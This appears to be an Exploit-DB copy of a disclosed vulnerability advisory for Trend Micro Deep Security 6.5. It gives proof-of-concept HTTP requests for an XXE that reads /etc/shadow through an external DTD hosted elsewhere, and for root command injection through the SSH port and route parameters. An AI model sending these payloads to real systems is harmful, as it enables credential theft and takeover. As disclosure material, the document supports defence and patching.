Trend Micro Deep Security version 6.5 - XML External Entity Injection / Local Privilege Escalation / Remote Code Execution

EDB-ID: 42089
Author: SecuriTeam
Published: 2017-05-30
CVE: N/A
Type: Webapps
Platform: XML
Vulnerable App: N/A

  
“The Trend Micro Hybrid Cloud Security solution, powered by XGen security, delivers a blend of cross­-generational threat defense techniques that have been optimized to protect physical, virtual, and cloud workloads. It features Trend Micro Deep Security, the market share leader in server security, protecting millions of physical, virtual, and cloud servers around the world.
Deep Security offers multiple layers of security that protect your servers as they move—across the data center, into the cloud, or in a hybrid deployment.”

The vulnerabilities found in Trend Micro Deep Security:
1. XML External Entity (XXE) that lead to arbitrary file disclosure
2. Local Privilege Escalation
3. Remote code execution

Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Vendor response

Trend Micro has released patches to address these vulnerabilities and issued the following advisory: https://success.trendmicro.com/solution/1117412

Vulnerabilities Details

XML External Entity (XXE) that lead to arbitrary file disclosure

Trend Micro Security Manager uses an outdated REST API (resteasy­jaxrs­2.3.5.Final.jar). The library suffers from an XXE vulnerability that can be exploited using Parameter Entities.

Proof of Concept

By sending the following POST request, an attacker can gain the victims “/etc/shadow”

1 POST /rest/authentication/login/sso HTTP/1.1
2 Host: 192.168.18.129:4119
3 Content­Type: application/xml
4 Content­Length: 360
5
6 <?xml version="1.0" encoding="utf­8"?>
7 <!DOCTYPE roottag [
8 <!ENTITY % start "<![CDATA[">
9 <!ENTITY % goodies SYSTEM "file:///etc/shadow">
10 <!ENTITY % end "]]>">
11 <!ENTITY % dtd SYSTEM "http://192.168.18.130/combine.dtd">
12 %dtd;
13
14 ]> 15
16 <dsCredentials>
17 <password>[email protected]</password>
18 <tenantName></tenantName>
19 <userName>&all;</userName>
20 </dsCredentials>

Local Privilege Escalation

Admin users have access via the web interface to the SSH configuration settings. The port settings are not properly handled and allow injecting shell commands as the root user.

1 POST /SSHConfig.jsp HTTP/1.1
2 Host: 192.168.254.176:8443
3 User­Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept­Language: en­US,en;q=0.5
6 Referer: https://192.168.254.176:8443/SSHConfig.jsp
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
8 Connection: close
9 Content­Type: application/x­www­form­urlencoded
10 Content­Length: 150
11 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&needSSHConfigure=yes&SSHSt
12 atus=enable&SSHPort=22&op=save&cbSSHStatus=enable&btSSHPort=221

In the above code, the SSHPort= parameter does not sanitize the incoming data. An attacker can use this to inject commands that will run as root on the victim’s machine.

Proof of Concept

The following POST request will call the sleep command with a value of 60 seconds:

1 POST /SSHConfig.jsp HTTP/1.1
2 Host: 192.168.254.176:8443
3 User­Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept­Language: en­US,en;q=0.5
6 Referer: https://192.168.254.176:8443/SSHConfig.jsp
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
8 Connection: close
9 Content­Type: application/x­www­form­urlencoded
10 Content­Length: 150
11
12 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&needSSHConfigure=yes&SSHSt
13 atus=enable&SSHPort=%60sleep%2010%60&op=save&cbSSHStatus=enable&btSSHPort=221

Remote code execution

Trend Micro Deep Security has a default user with sudo privileges named iscan. This user is locked out but it can access certain elevated functions.

1 POST /servlet/com.trend.iwss.gui.servlet.ManageSRouteSettings?action=add HTTP/1.1
2 Host: 192.168.254.176:8443
3 User­Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept­Language: en­US,en;q=0.5
6 Referer: https://192.168.254.176:8443/staticRouteEdit.jsp?action=add
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
8 Connection: close
9 Content­Type: application/x­www­form­urlencoded
10 Content­Length: 259
11
12 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&op=sroutemanage&fromurl=%2
13 FstaticRoutes.jsp&failoverurl=%2FstaticRouteEdit.jsp&port=&oldnetid=&oldrouter=&oldnetmask=&
14 oldport=&netid=192.168.1.0&netmask=255.255.255.0&router=192.168.1.1&interface_vlanid_sel=eth1

In the above POST request, we can see the page has several parameters that are vulnerable and that we can inject malicious parameters through them: netid, netmask, router, and interface_vlanid_sel

Proof of Concept:

1 POST /servlet/com.trend.iwss.gui.servlet.ManageSRouteSettings?action=add HTTP/1.1
2 Host: 192.168.254.176:8443
3 User­Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept­Language: en­US,en;q=0.5
6 Referer: https://192.168.254.176:8443/staticRouteEdit.jsp?action=add
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
8 Connection: close
9 Content­Type: application/x­www­form­urlencoded
10 Content­Length: 259
11
12 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&op=sroutemanage&fromurl=%2
13 FstaticRoutes.jsp&failoverurl=%2FstaticRouteEdit.jsp&port=&oldnetid=&oldrouter=&oldnetmask=&
14 oldport=&netid=192.168.1.0%7c%7c%60ping%20­
15 c%2021%20127.0.0.1%60%20%23'%7c%7c%60ping%20­
16 c%2021%20127.0.0.1%60%20%23%5c%22%20&netmask=255.255.255.0&router=192.168.1.1&inte
17 rface_vlanid_sel=eth1

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